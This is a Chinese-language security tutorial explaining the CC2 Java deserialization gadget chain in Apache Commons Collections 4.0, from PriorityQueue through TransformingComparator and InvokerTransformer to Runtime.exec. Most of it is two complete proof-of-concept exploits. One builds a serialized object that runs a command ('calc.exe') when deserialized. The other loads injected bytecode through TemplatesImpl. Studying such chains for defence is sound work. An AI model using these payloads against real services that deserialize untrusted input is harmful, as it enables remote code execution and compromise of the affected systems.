Java安全之CC2
前言
由于在2015年底commons-collections反序列化利⽤链被提出时，Apache Commons Collections有以下两个分⽀版本：
-
commons-collections:commons-collections
-
org.apache.commons:commons-collections4
可⻅，groupId和artifactId都变了。前者是Commons Collections⽼的版本包，当时版本号是3.2.1；后 者是官⽅在2013年推出的4版本，当时版本号是4.0。
官⽅认为旧的commons-collections有⼀些架构和API设计上的问题，但修复这些问题，会产⽣⼤量不能 向前兼容的改动。所以，commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本，⽽是⼀个新的包，两者的命名空间不冲突，因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题，既然3.2.1中存在反序列化利⽤链，那么4.0版本是否存在呢？
commons-collections4的改动
因为这⼆者可以共存，所以我可以将两个包安装到同⼀个项⽬中进⾏⽐较：
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commonscollections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies
因为⽼的Gadget中依赖的包名都是org.apache.commons.collections ，⽽新的包名已经变 了，是org.apache.commons.collections4 。 我们⽤已经熟悉的CC6利⽤链做个例⼦，我们直接把代码拷⻉⼀遍，然后将所import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.* 。 此时IDE爆出了⼀个错误，原因是LazyMap.decorate这个⽅法没了：
看下decorate的定义，⾮常简单：
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
这个⽅法不过就是LazyMap构造函数的⼀个包装，⽽在4中其实只是改了个名字叫lazyMap
public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final
Transformer<? super K, ? extends V> factory) {
return new LazyMap<K,V>(map, factory);
}
所以，我们将Gadget中出错的代码换⼀下名字：
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
同理，之前的CC1,CC3利用链都可以在commonscollections4中正常使用
commons-collections之所以有许多利⽤链，除了因为其使⽤量⼤，技术上的原因是其 中包含了⼀些可以执⾏任意⽅法的Transformer。所以在commons-collections中找Gadget的过 程，实际上可以简化为，找⼀条从 Serializable#readObject()⽅法到 Transformer#transform()⽅法的调⽤链。
CC2
其中两个关键类：
- java.util.PriorityQueue -
- org.apache.commons.collections4.comparators.TransformingComparator
java.util.PriorityQueue是⼀个有⾃⼰readObject()⽅法的类：
org.apache.commons.collections4.comparators.TransformingComparator 中有调 ⽤transform()⽅法的函数：
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
所以CC2实际就是⼀条从 PriorityQueue到TransformingComparator的利⽤链
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
关于 PriorityQueue 这个数据结构的具体原理，可以参考这篇⽂章：https://www.cnblogs.com/linghu-java/p/9467805.html
开始编写POC,⾸先，还是创建Transformer:
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(1)};
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(transformers);
再创建⼀个TransformingComparator，传⼊我们的Transformer
Comparator comparator = new TransformingComparator(chain)
实例化PriorityQueue对象，第⼀个参数是初始化时的⼤⼩，⾄少需要2个元素才会触发排序和⽐较， 所以是2；第⼆个参数是⽐较时的Comparator，传⼊前⾯实例化的comparator
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
后⾯随便添加了2个数字进去，这⾥可以传⼊⾮null的任意对象，因为我们的Transformer是忽略传⼊参数的。 最后，将真正的恶意Transformer设置上，
setFieldValue(transformerChain, "iTransformers", transformers)
完整poc如下
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(chain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
CC2改进
前边说过了利⽤TemplatesImpl可以构造出⽆Transformer数组的利⽤链，可以将CC2这条链也进行改造。
public class CommonsCollections2TemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
